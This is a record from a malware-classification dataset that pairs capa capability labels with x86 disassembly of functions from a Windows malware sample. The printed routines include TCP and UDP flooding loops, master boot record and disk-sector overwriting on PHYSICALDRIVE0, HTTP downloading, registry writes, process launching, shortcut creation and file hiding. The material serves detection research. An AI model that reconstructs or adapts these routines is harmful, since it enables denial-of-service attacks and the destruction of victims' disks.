joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1ca9300
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x1ca9326
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x1ca931f
pop esi
pop ebp
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
pop ebp
ret

Function at 0x1ca9330
Capabilities:
Act as tcp client
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [ebp + 8]
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.01ca9300
mov edx, dword [ebp + 0xc]
add esp, 4
mov ecx, 2
push edx
mov esi, eax
mov word [ebp - 0x14], cx
call sub.WS2_32.dll_htons
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov word [ebp - 0x12], ax
mov dword [ebp - 0x10], esi
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
sub esi, eax
mov dword [ebp - 0x3d4], eax
cmp esi, edi
ja 0x1ca941c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1cb5b7c], 0
jne 0x1ca941b
xor esi, esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x1ca93c6
lea ecx, [ebp - 4]
push ecx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x1ca93a0
xor esi, esi
mov edi, edi
mov eax, dword [ebp + esi*4 - 0xdc]
push 0x10
lea edx, [ebp - 0x14]
push edx
push eax
call sub.WS2_32.dll_connect
inc esi
cmp esi, 0x32
jl 0x1ca93d0
push 0x64
call ebx
xor esi, esi
nop
mov ecx, dword [ebp + esi*4 - 0xdc]
push ecx
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x1ca93f0
push 0x4b
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x3d4]
cmp eax, edi
jbe 0x1ca9395
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1ca9430
Capabilities:
Check for time delay via gettickcount
Create udp socket
Encrypt data using rc4 ksa
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a40
call fcn.01cb0f10
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.01ca9300
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, dword [ebp + 0xc]
add esp, 4
test eax, eax
je 0x1ca9467
movzx eax, ax
jmp 0x1ca9486
call edi
push eax
call main
add esp, 4
call fcn.01ca3870
movzx eax, ax
cdq
mov ecx, 0xffff
idiv ecx
inc edx
movzx eax, dx
mov edx, 2
push eax
mov word [ebp - 0x14], dx
call sub.WS2_32.dll_htons
mov dword [ebp - 0x10], esi
mov word [ebp - 0x12], ax
xor esi, esi
mov edi, edi
call fcn.01ca3870
cdq
mov ecx, 0xff
idiv ecx
inc esi
cmp esi, 0x1964
mov byte [ebp + esi - 0x1a41], dl
jl 0x1ca94a0
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
mov ebx, eax
sub esi, ebx
cmp esi, edi
ja 0x1ca9574
jmp 0x1ca94e0
cmp dword [0x1cb5b7c], 0
jne 0x1ca9574
xor esi, esi
nop
push 0x11
push 2
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x1ca9516
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x1ca94f0
xor esi, esi
mov edi, edi
mov edx, dword [ebp + esi*4 - 0xdc]
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push 0x1964
lea ecx, [ebp - 0x1a40]
push ecx
push edx
call sub.WS2_32.dll_sendto
inc esi
cmp esi, 0x32
jl 0x1ca9520
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov eax, dword [ebp + esi*4 - 0xdc]
push eax
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x1ca9551
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, edi
jbe 0x1ca94e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1ca9d90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 4
push 0x1000
push 0x8000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
test eax, eax
jne 0x1ca9dbe
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x20000080
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1ca9dee
mov eax, 0xfffffffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push 0
push 0x90018
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ecx
push esi
push edi
mov ecx, 0x2000
xor eax, eax
mov edi, dword [ebp - 8]
rep stosd dword es:[edi], eax
pop edi
pop esi
pop ecx
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 4]
push ecx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0x1ca9e4f
mov eax, 0xfffffffd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 4]
push edx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0x1ca9e80
mov eax, 0xfffffffc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push 0x8000
push edi
push ebx
call esi
test eax, eax
jne 0x1ca9e80
push eax
lea ecx, [ebp - 4]
push ecx
push eax
push eax
push eax
push eax
push 0x9001c
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1ca9ec0
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push 0x1ff
lea eax, [ebp - 0x207]
push 0
push eax
mov byte [ebp - 0x208], 0
call sub.MSVCRT.dll_memset
push 3
lea ecx, [ebp - 0x208]
push str.00100
push ecx
call fcn.01ca3640
add esp, 0x18
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
mov byte [ebp - 0xa], 0x55
mov byte [ebp - 9], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1ca9f2a
or eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 0x200
lea ecx, [ebp - 0x208]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1caa080
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1caa0d1
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push 0
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [eax]
push edx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x1caa0d8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1caa150
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x206]
push ecx
mov word [ebp - 0x208], ax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x1caa1ea
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.01ca3690
mov edi, eax
lea eax, [ebp - 0x208]
push eax
call fcn.01ca3690
add esp, 8
cmp edi, eax
pop edi
jbe 0x1caa1ea
lea ecx, [ebp - 0x208]
push ecx
call fcn.01ca3690
push eax
lea edx, [ebp - 0x208]
push edx
push esi
call sub.MSVCRT.dll__memicmp
add esp, 0x10
test eax, eax
jne 0x1caa1ea
mov eax, dword [ebp + 0xc]
push eax
push esi
call fcn.01caa0f0
add esp, 8
test eax, eax
je 0x1caa1ea
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1caa260
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.01ca35f0
push 0x44
lea ecx, [ebp - 0x54]
push 0
push ecx
call fcn.01ca35f0
add esp, 0x18
xor edx, edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x54]
push ecx
push edx
push edx
push 0x10
push edx
push edx
push edx
push edx
mov word [ebp - 0x24], dx
mov edx, dword [ebp + 8]
push edx
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x1caa310
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1404
call fcn.01cb0f10
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
mov byte [ebp - 0x404], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x1003]
push 0
push ecx
mov byte [ebp - 0x1004], 0
call sub.MSVCRT.dll_memset
push 0x3ff
lea edx, [ebp - 0x803]
push 0
push edx
mov byte [ebp - 0x804], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
push ecx
lea edx, [ebp - 0x1404]
push 0x3fe
push edx
call sub.MSVCRT.dll__vsnprintf
lea eax, [ebp - 0x1404]
push eax
lea ecx, [ebp - 0x404]
push 0x1cb13ec
push ecx
call sub.MSVCRT.dll_sprintf
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x40
push str.30e4ga1
call edi
push eax
push str.30e4ga1
call fcn.01ca1e60
push eax
push str..pipe_08x_ipc
lea edx, [ebp - 0x804]
push 0x3ff
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
lea eax, [ebp - 0x404]
push eax
call edi
mov esi, eax
push esi
lea ecx, [ebp - 0x1004]
push 0x1cb2a30
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [ebp - 0x1004]
push edx
call edi
push str.30e4ga1
mov ebx, eax
call edi
push eax
push esi
lea eax, [ebp - 0x404]
push str.30e4ga1
push eax
call fcn.01ca1440
add esp, 0x10
push esi
lea ecx, [ebp - 0x404]
push ecx
lea edx, [ebp + ebx - 0x1004]
push edx
call fcn.01ca2440
push 0x1ceac34
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 3
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1caa473
push 0x1ceac34
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 4]
push ecx
add ebx, esi
push ebx
lea edx, [ebp - 0x1004]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1ceac34
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1caa690
Capabilities:
Create process on windows
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x25a]
push ecx
mov word [ebp - 0x25c], ax
call sub.MSVCRT.dll_memset
xor edx, edx
push 0x616
push edx
lea eax, [ebp - 0x872]
push eax
mov word [ebp - 0x874], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x26
lea ecx, [ebp - 0x25c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x1caa6ed
mov esp, ebp
pop ebp
ret
push 0x1cb1728
lea edx, [ebp - 0x25c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x25c]
push ecx
push str.__s___S
lea edx, [ebp - 0x874]
push 0x617
push edx
call sub.MSVCRT.dll__snwprintf
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.01ca35f0
push 0x44
lea ecx, [ebp - 0x54]
push 0
push ecx
call fcn.01ca35f0
add esp, 0x2c
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
je 0x1caa75c
mov edx, 5
mov word [ebp - 0x24], dx
jmp 0x1caa762
xor eax, eax
mov word [ebp - 0x24], ax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x874]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret

Function at 0x1caa990
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x10
xor esi, esi
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.01ca35f0
push 0x44
lea ecx, [ebp - 0x54]
push esi
push ecx
call fcn.01ca35f0
xor edx, edx
add esp, 0x18
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], dx
call fcn.01ca68b0
test eax, eax
jne 0x1caa9d6
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1caa9fa
mov esi, dword [ebp - 8]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1caaa10
Capabilities:
Check http status code
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Mozilla_4.0
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [0x1ceb860]
test esi, esi
jne 0x1caaa6e
push esi
push esi
push esi
push esi
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [0x1ceb860], esi
mov edi, dword [ebp + 0x14]
xor eax, eax
test edi, edi
je 0x1caaa7e
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0x4000000
push eax
mov eax, dword [ebp + 8]
push edi
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
xor edi, edi
cmp ebx, edi
jne 0x1caaaa3
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
push 0x20000013
push esi
mov dword [ebp - 8], 0xc8
mov dword [ebp - 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1caaadb
mov eax, dword [ebp - 8]
cmp eax, 0xc8
jb 0x1caaa9a
cmp eax, 0x12b
ja 0x1caaa9a
mov esi, dword [ebp + 0x10]
push edi
push edi
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x1caaa9a
mov dword [esi], edi
mov dword [0x1ceb85c], edi
mov dword [0x1ceb858], edi
mov dword [0x1ceb854], edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 4], 1
lea ecx, [ecx]
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [0x1ceb85c], eax
add esp, 4
mov dword [eax + 0xffc], 0
cmp dword [0x1ceb854], 0
jne 0x1caab41
mov eax, dword [0x1ceb85c]
mov dword [0x1ceb854], eax
jmp 0x1caab57
mov eax, dword [0x1ceb858]
mov ecx, dword [0x1ceb85c]
mov dword [eax + 0xffc], ecx
mov eax, dword [0x1ceb85c]
lea edx, [ebp - 4]
push edx
push 0xff8
push eax
push ebx
mov dword [0x1ceb858], eax
call edi
mov ecx, dword [0x1ceb85c]
mov eax, dword [ebp - 4]
mov dword [ecx + 0xff8], eax
mov eax, dword [ebp - 4]
add dword [esi], eax
mov ecx, dword [esi]
test eax, eax
jne 0x1caab10
inc ecx
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [ebp + 0xc]
add esp, 4
mov dword [edi], eax
mov eax, dword [0x1ceb854]
xor esi, esi
xor ecx, ecx
mov dword [0x1ceb85c], eax
test ecx, ecx
je 0x1caabb2
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [0x1ceb85c]
add esp, 4
test eax, eax
je 0x1caabe0
mov edx, dword [eax + 0xff8]
push edx
push eax
mov eax, dword [edi]
add eax, esi
push eax
call fcn.01ca3640
mov eax, dword [0x1ceb85c]
add esp, 0xc
add esi, dword [eax + 0xff8]
mov ecx, eax
mov eax, dword [eax + 0xffc]
jmp 0x1caab9b
mov ecx, dword [edi]
push ebx
mov byte [esi + ecx], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1cab300
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push esi
push edi
push 0x208
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x206
xor esi, esi
mov edi, eax
lea ecx, [ebp - 0x20a]
xor eax, eax
push esi
push ecx
mov word [ebp - 0x20c], ax
call sub.MSVCRT.dll_memset
push 0x206
lea eax, [ebp - 0x412]
xor edx, edx
push esi
push eax
mov word [ebp - 0x414], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
cmp edi, esi
jne 0x1cab37b
cmp dword [ebp + 8], esi
je 0x1cab370
pop edi
mov eax, str.lol.exe
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 0x1cb2bac
pop esi
mov esp, ebp
pop ebp
ret
push 0x208
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x1cab365
push 4
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push esi
push esi
push esi
push esi
lea ecx, [ebp - 4]
push ecx
push esi
push esi
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x1cab3cc
mov dword [ebp - 4], 0x1337b00b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.30e4ga1
call ebx
test eax, eax
jbe 0x1cab3f6
mov edi, edi
movsx eax, byte [esi + str.30e4ga1]
add dword [ebp - 4], eax
push str.30e4ga1
inc esi
call ebx
cmp esi, eax
jb 0x1cab3e0
movzx eax, byte [ebp - 4]
cdq
mov ecx, 0x1a
idiv ecx
pop ebx
add edx, 0x41
mov word [edi], dx
movzx eax, byte [ebp - 3]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 2], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 4], dx
movzx eax, byte [ebp - 1]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 6], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 8], dx
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 1]
add eax, edx
cdq
idiv ecx
add edx, 0x61
cmp dword [ebp + 8], 0
mov word [edi + 0xa], dx
je 0x1cab467
push str..exe
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1cad6b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1cea294]
sub esp, 8
test eax, eax
je 0x1cad6e0
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp + 8]
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call eax
jmp 0x1cad703
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1cad759
mov edx, dword [ebp + 0x14]
mov eax, edx
push esi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1cad710
sub eax, esi
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 4]
push ecx
push edx
mov edx, dword [ebp + 0x10]
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop esi
test eax, eax
jne 0x1cad74f
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1caee40
Capabilities:
Create shortcut via ishelllink
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
lea eax, [ebp - 4]
push eax
push 0x1cb3614
push 1
push 0
push 0x1cb3634
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x1caefdb
push ebx
push esi
push edi
push 0x207
lea ecx, [ebp - 0x317]
push 0
push ecx
mov byte [ebp - 0x318], 0
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push edx
lea eax, [ebp - 0x318]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1cb2c78
lea ecx, [ebp - 0x318]
push ecx
call edi
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x318]
push eax
call edi
push 0x15c
lea ecx, [ebp - 0x474]
push 0
push ecx
mov dword [ebp - 0x478], 0
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0x1000
push 0x160
lea edx, [ebp - 0x478]
push edx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x318]
push edx
push eax
mov eax, dword [ecx + 0x2c]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 4
push str.shell32.dll
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x1cb3624
push eax
mov eax, dword [ecx]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 7
push eax
call edx
mov esi, eax
test esi, esi
jl 0x1caefcb
push 0x107
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 0x14]
add esp, 0xc
push ecx
lea edx, [ebp - 0x110]
push edx
call ebx
push 0x1cb2f5c
lea eax, [ebp - 0x110]
push eax
call edi
push 0x104
lea ecx, [ebp - 0x680]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x110]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x680]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov esi, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1caefe0
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.01cb0f10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x7ff
mov ebx, eax
lea eax, [ebp - 0xfff]
push 0
push eax
mov byte [ebp - 0x1000], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x7ff]
push 0
push ecx
mov byte [ebp - 0x800], 0
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0x1cb2f5c
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push eax
call edi
test eax, eax
je 0x1caf11b
push 0x1cb13d8
push esi
call edi
test eax, eax
je 0x1caf11b
push 0x1cb2fcc
push esi
call edi
test eax, eax
je 0x1caf11b
cmp dword [ebp + 0x10], 0
je 0x1caf07f
test bl, 0x10
je 0x1caf11b
cmp dword [ebp + 0x14], 0
je 0x1caf10f
push 0x1cb2fc0
push esi
call edi
test eax, eax
je 0x1caf11b
push 0x5c
push esi
call sub.MSVCRT.dll_strrchr
mov ebx, dword [ebp + 0xc]
push 0x5c
push ebx
mov edi, eax
call sub.MSVCRT.dll_strrchr
add esp, 0x10
test eax, eax
je 0x1caf11b
test edi, edi
je 0x1caf11b
inc eax
push eax
push 0x1cb2fa4
lea edx, [ebp - 0x1000]
push 0x7ff
push edx
call sub.MSVCRT.dll__snprintf
inc edi
push edi
push 0x1cb2f80
lea eax, [ebp - 0x800]
push 0x7ff
push eax
call sub.MSVCRT.dll__snprintf
push ebx
push esi
lea ecx, [ebp - 0x800]
push ecx
lea edx, [ebp - 0x1000]
push edx
push 0x1cb2f64
call fcn.01caee40
add esp, 0x34
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret